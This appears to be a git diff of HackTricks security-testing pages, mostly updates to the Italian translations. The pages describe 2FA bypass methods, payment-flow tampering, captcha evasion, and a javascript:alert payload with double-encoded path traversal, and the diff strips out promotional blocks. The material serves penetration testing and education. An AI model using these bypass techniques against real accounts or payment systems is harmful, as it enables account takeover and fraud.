Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,24 +10,11 @@ Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Tecniche di Bypass dell'Autenticazione a Due Fattori Migliorate**
|
||||
|
||||
|
@ -37,7 +24,7 @@ Per bypassare il 2FA, accedi direttamente all'endpoint successivo, conoscere il
|
|||
|
||||
### **Riutilizzo del Token**
|
||||
|
||||
Riutilizzare token precedentemente utilizzati per l'autenticazione all'interno di un account può essere efficace.
|
||||
Riutilizzare token precedentemente usati per l'autenticazione all'interno di un account può essere efficace.
|
||||
|
||||
### **Utilizzo di Token Non Utilizzati**
|
||||
|
||||
|
@ -49,7 +36,7 @@ Indaga se il token è divulgato in una risposta dall'applicazione web.
|
|||
|
||||
### **Sfruttamento del Link di Verifica**
|
||||
|
||||
Utilizzare il **link di verifica email inviato al momento della creazione dell'account** può consentire l'accesso al profilo senza 2FA, come evidenziato in un [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
|
||||
Utilizzare il **link di verifica email inviato al momento della creazione dell'account** può consentire l'accesso al profilo senza 2FA, come evidenziato in un dettagliato [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
|
||||
|
||||
### **Manipolazione della Sessione**
|
||||
|
||||
|
@ -57,45 +44,45 @@ Iniziare sessioni sia per l'account dell'utente che per quello di una vittima, e
|
|||
|
||||
### **Meccanismo di Reset della Password**
|
||||
|
||||
Indagare sulla funzione di reset della password, che accede all'applicazione dopo il reset, per il suo potenziale di consentire più reset utilizzando lo stesso link è cruciale. Accedere con le credenziali appena ripristinate potrebbe bypassare il 2FA.
|
||||
Indagare sulla funzione di reset della password, che accede all'applicazione dopo il reset, per il suo potenziale di consentire più reset utilizzando lo stesso link è cruciale. Accedere con le credenziali appena resetate potrebbe bypassare il 2FA.
|
||||
|
||||
### **Compromissione della Piattaforma OAuth**
|
||||
|
||||
Compromettere l'account di un utente su una piattaforma **OAuth** fidata (ad es. Google, Facebook) può offrire un percorso per bypassare il 2FA.
|
||||
Compromettere l'account di un utente su una piattaforma **OAuth** fidata (es. Google, Facebook) può offrire un percorso per bypassare il 2FA.
|
||||
|
||||
### **Attacchi di Forza Bruta**
|
||||
|
||||
#### **Assenza di Limite di Frequenza**
|
||||
|
||||
L'assenza di un limite sul numero di tentativi di codice consente attacchi di forza bruta, sebbene si debba considerare un potenziale silenzioso limitato.
|
||||
La mancanza di un limite sul numero di tentativi di codice consente attacchi di forza bruta, anche se si dovrebbe considerare un potenziale limitamento silenzioso della frequenza.
|
||||
|
||||
#### **Forza Bruta Lenta**
|
||||
|
||||
Un attacco di forza bruta lento è praticabile dove esistono limiti di flusso senza un limite generale.
|
||||
Un attacco di forza bruta lento è praticabile dove esistono limiti di flusso senza un limite generale di frequenza.
|
||||
|
||||
#### **Ripristino del Limite di Invio del Codice**
|
||||
|
||||
Reinviare il codice ripristina il limite di frequenza, facilitando ulteriori tentativi di forza bruta.
|
||||
Reinviare il codice ripristina il limite di frequenza, facilitando tentativi di forza bruta continuati.
|
||||
|
||||
#### **Circumvenzione del Limite di Frequenza Lato Client**
|
||||
#### **Circumvenzione del Limite di Frequenza Client-Side**
|
||||
|
||||
Un documento dettaglia tecniche per bypassare il limite di frequenza lato client.
|
||||
Un documento dettaglia tecniche per bypassare il limitamento della frequenza client-side.
|
||||
|
||||
#### **Azioni Interne Senza Limite di Frequenza**
|
||||
|
||||
I limiti di frequenza possono proteggere i tentativi di accesso ma non le azioni interne dell'account.
|
||||
|
||||
#### **Costi di Reinvi dei Codici SMS**
|
||||
#### **Costi di Reinvi del Codice SMS**
|
||||
|
||||
Il reinvio eccessivo di codici tramite SMS comporta costi per l'azienda, sebbene non bypassi il 2FA.
|
||||
Il reinvio eccessivo di codici tramite SMS comporta costi per l'azienda, anche se non bypassa il 2FA.
|
||||
|
||||
#### **Rigenerazione Infinita di OTP**
|
||||
|
||||
La generazione infinita di OTP con codici semplici consente la forza bruta riprovando un piccolo set di codici.
|
||||
|
||||
### **Sfruttamento delle Condizioni di Corsa**
|
||||
### **Sfruttamento delle Condizioni di Gara**
|
||||
|
||||
Sfruttare le condizioni di corsa per bypassare il 2FA può essere trovato in un documento specifico.
|
||||
Sfruttare le condizioni di gara per bypassare il 2FA può essere trovato in un documento specifico.
|
||||
|
||||
### **Vulnerabilità CSRF/Clickjacking**
|
||||
|
||||
|
@ -103,7 +90,7 @@ Esplorare vulnerabilità CSRF o Clickjacking per disabilitare il 2FA è una stra
|
|||
|
||||
### **Sfruttamenti della Funzione "Ricordami"**
|
||||
|
||||
#### **Valori dei Cookie Prevedibili**
|
||||
#### **Valori di Cookie Prevedibili**
|
||||
|
||||
Indovinare il valore del cookie "ricordami" può bypassare le restrizioni.
|
||||
|
||||
|
@ -115,23 +102,23 @@ Impersonare l'indirizzo IP della vittima tramite l'header **X-Forwarded-For** pu
|
|||
|
||||
#### **Sottodomini**
|
||||
|
||||
Testare i sottodomini può utilizzare versioni obsolete prive di supporto 2FA o contenere implementazioni 2FA vulnerabili.
|
||||
Testare i sottodomini può utilizzare versioni obsolete prive di supporto per il 2FA o contenere implementazioni vulnerabili del 2FA.
|
||||
|
||||
#### **Endpoint API**
|
||||
|
||||
Versioni API più vecchie, indicate da percorsi di directory /v\*/, possono essere vulnerabili a metodi di bypass del 2FA.
|
||||
Versioni API più vecchie, indicate da percorsi di directory /v\*/, possono essere vulnerabili ai metodi di bypass del 2FA.
|
||||
|
||||
### **Gestione delle Sessioni Precedenti**
|
||||
|
||||
Terminare le sessioni esistenti al momento dell'attivazione del 2FA protegge gli account da accessi non autorizzati da sessioni compromesse.
|
||||
|
||||
### **Flaws di Controllo Accessi con Codici di Backup**
|
||||
### **Flaws di Controllo degli Accessi con Codici di Backup**
|
||||
|
||||
La generazione immediata e il potenziale recupero non autorizzato di codici di backup al momento dell'attivazione del 2FA, specialmente con configurazioni errate di CORS/vulnerabilità XSS, rappresentano un rischio.
|
||||
|
||||
### **Divulgazione di Informazioni sulla Pagina 2FA**
|
||||
|
||||
La divulgazione di informazioni sensibili (ad es. numero di telefono) sulla pagina di verifica 2FA è una preoccupazione.
|
||||
La divulgazione di informazioni sensibili (es. numero di telefono) sulla pagina di verifica 2FA è una preoccupazione.
|
||||
|
||||
### **Reset della Password Disabilitando il 2FA**
|
||||
|
||||
|
@ -143,7 +130,7 @@ Utilizzare richieste di diversione per offuscare i tentativi di forza bruta o fu
|
|||
|
||||
### Errori di Costruzione OTP
|
||||
|
||||
Nel caso in cui l'OTP venga creato in base ai dati che l'utente ha già o che vengono inviati precedentemente per creare l'OTP, è possibile per l'utente generarlo e bypassarlo.
|
||||
Nel caso in cui l'OTP venga creato in base a dati che l'utente ha già o che vengono inviati precedentemente per creare l'OTP, è possibile per l'utente generarlo e bypassarlo.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
@ -151,17 +138,6 @@ Nel caso in cui l'OTP venga creato in base ai dati che l'utente ha già o che ve
|
|||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
P
|
||||
|
||||
|
@ -175,7 +151,7 @@ Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Tecniche di Bypass del Pagamento
|
||||
|
||||
### Intercettazione delle Richieste
|
||||
|
@ -30,17 +22,17 @@ Durante il processo di transazione, è fondamentale monitorare i dati scambiati
|
|||
|
||||
- **Success**: Questo parametro indica spesso lo stato della transazione.
|
||||
- **Referrer**: Potrebbe indicare la fonte da cui è originata la richiesta.
|
||||
- **Callback**: Questo è tipicamente usato per reindirizzare l'utente dopo che una transazione è completata.
|
||||
- **Callback**: Questo è tipicamente usato per reindirizzare l'utente dopo che una transazione è stata completata.
|
||||
|
||||
### Analisi dell'URL
|
||||
Se incontri un parametro che contiene un URL, specialmente uno che segue il modello _example.com/payment/MD5HASH_, richiede un esame più attento. Ecco un approccio passo-passo:
|
||||
|
||||
1. **Copia l'URL**: Estrai l'URL dal valore del parametro.
|
||||
2. **Ispezione in Nuova Finestra**: Apri l'URL copiato in una nuova finestra del browser. Questa azione è fondamentale per comprendere l'esito della transazione.
|
||||
2. **Ispezione in Nuova Finestra**: Apri l'URL copiato in una nuova finestra del browser. Questa azione è critica per comprendere l'esito della transazione.
|
||||
|
||||
### Manipolazione dei Parametri
|
||||
1. **Cambia i Valori dei Parametri**: Sperimenta alterando i valori di parametri come _Success_, _Referrer_ o _Callback_. Ad esempio, cambiare un parametro da `false` a `true` può a volte rivelare come il sistema gestisce questi input.
|
||||
2. **Rimuovi Parametri**: Prova a rimuovere alcuni parametri del tutto per vedere come reagisce il sistema. Alcuni sistemi potrebbero avere fallback o comportamenti predefiniti quando i parametri attesi mancano.
|
||||
2. **Rimuovi Parametri**: Prova a rimuovere completamente alcuni parametri per vedere come reagisce il sistema. Alcuni sistemi potrebbero avere fallback o comportamenti predefiniti quando i parametri attesi mancano.
|
||||
|
||||
### Manomissione dei Cookie
|
||||
1. **Esamina i Cookie**: Molti siti web memorizzano informazioni cruciali nei cookie. Ispeziona questi cookie per eventuali dati relativi allo stato del pagamento o all'autenticazione dell'utente.
|
||||
|
@ -51,13 +43,7 @@ Se incontri un parametro che contiene un URL, specialmente uno che segue il mode
|
|||
|
||||
### Manomissione delle Risposte
|
||||
1. **Intercetta le Risposte**: Usa strumenti per intercettare e analizzare le risposte dal server. Cerca eventuali dati che potrebbero indicare una transazione riuscita o rivelare i passaggi successivi nel processo di pagamento.
|
||||
2. **Modifica le Risposte**: Tenta di modificare le risposte prima che vengano elaborate dal browser o dall'applicazione per simulare uno scenario di transazione riuscita.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
2. **Modifica le Risposte**: Prova a modificare le risposte prima che vengano elaborate dal browser o dall'applicazione per simulare uno scenario di transazione riuscita.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# Captcha Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Captcha Bypass
|
||||
|
||||
Per **bypassare** il captcha durante il **test del server** e automatizzare le funzioni di input dell'utente, possono essere impiegate varie tecniche. L'obiettivo non è compromettere la sicurezza, ma semplificare il processo di test. Ecco un elenco completo di strategie:
|
||||
Per **bypassare** il captcha durante il **testing del server** e automatizzare le funzioni di input dell'utente, possono essere impiegate varie tecniche. L'obiettivo non è compromettere la sicurezza, ma semplificare il processo di testing. Ecco un elenco completo di strategie:
|
||||
|
||||
1. **Manipolazione dei Parametri**:
|
||||
* **Omettere il Parametro Captcha**: Evitare di inviare il parametro captcha. Sperimentare cambiando il metodo HTTP da POST a GET o ad altri verbi, e alterando il formato dei dati, come passare da dati di modulo a JSON.
|
||||
|
@ -26,7 +26,7 @@ Per **bypassare** il captcha durante il **test del server** e automatizzare le f
|
|||
2. **Estrazione e Riutilizzo dei Valori**:
|
||||
* **Ispezione del Codice Sorgente**: Cercare il valore del captcha all'interno del codice sorgente della pagina.
|
||||
* **Analisi dei Cookie**: Esaminare i cookie per verificare se il valore del captcha è memorizzato e riutilizzato.
|
||||
* **Riutilizzare Valori di Captcha Precedenti**: Tentare di utilizzare nuovamente valori di captcha precedentemente riusciti. Tenere presente che potrebbero scadere in qualsiasi momento.
|
||||
* **Riutilizzare Valori di Captcha Precedenti**: Tentare di utilizzare nuovamente valori di captcha precedentemente validi. Tieni presente che potrebbero scadere in qualsiasi momento.
|
||||
* **Manipolazione della Sessione**: Provare a utilizzare lo stesso valore del captcha in diverse sessioni o con lo stesso ID di sessione.
|
||||
|
||||
3. **Automazione e Riconoscimento**:
|
||||
|
@ -36,29 +36,27 @@ Per **bypassare** il captcha durante il **test del server** e automatizzare le f
|
|||
* Utilizzare strumenti di Riconoscimento Ottico dei Caratteri (OCR) come [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) per automatizzare la lettura dei caratteri dalle immagini.
|
||||
|
||||
4. **Tecniche Aggiuntive**:
|
||||
* **Test dei Limiti di Frequenza**: Verificare se l'applicazione limita il numero di tentativi o invii in un determinato intervallo di tempo e se questo limite può essere bypassato o ripristinato.
|
||||
* **Testing dei Limiti di Frequenza**: Controllare se l'applicazione limita il numero di tentativi o invii in un determinato intervallo di tempo e se questo limite può essere bypassato o ripristinato.
|
||||
* **Servizi di Terze Parti**: Utilizzare servizi o API di risoluzione captcha che offrono riconoscimento e risoluzione automatizzati del captcha.
|
||||
* **Rotazione di Sessione e IP**: Cambiare frequentemente gli ID di sessione e gli indirizzi IP per evitare il rilevamento e il blocco da parte del server.
|
||||
* **Manipolazione di User-Agent e Header**: Alterare l'User-Agent e altri header di richiesta per imitare diversi browser o dispositivi.
|
||||
* **Analisi del Captcha Audio**: Se è disponibile un'opzione di captcha audio, utilizzare servizi di riconoscimento vocale per interpretare e risolvere il captcha.
|
||||
* **Analisi del Captcha Audio**: Se è disponibile un'opzione captcha audio, utilizzare servizi di riconoscimento vocale per interpretare e risolvere il captcha.
|
||||
|
||||
|
||||
## Servizi Online per risolvere i captcha
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
Il risolutore automatico di captcha di Capsolver offre una **soluzione economica e rapida per la risoluzione dei captcha**. Puoi combinarlo rapidamente con il tuo programma utilizzando la sua semplice opzione di integrazione per ottenere i migliori risultati in pochi secondi. Può risolvere reCAPTCHA V2 e V3, hCaptcha, FunCaptcha, datadome, aws captcha, immagine-a-testo, captcha di binance / coinmarketcap, geetest v3 e altro ancora. Tuttavia, questo non è un bypass in sé.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Summary
|
||||
|
||||
|
@ -102,21 +89,11 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,38 +1,30 @@
|
|||
# JNDI - Java Naming and Directory Interface & Log4Shell
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di Base
|
||||
## Basic Information
|
||||
|
||||
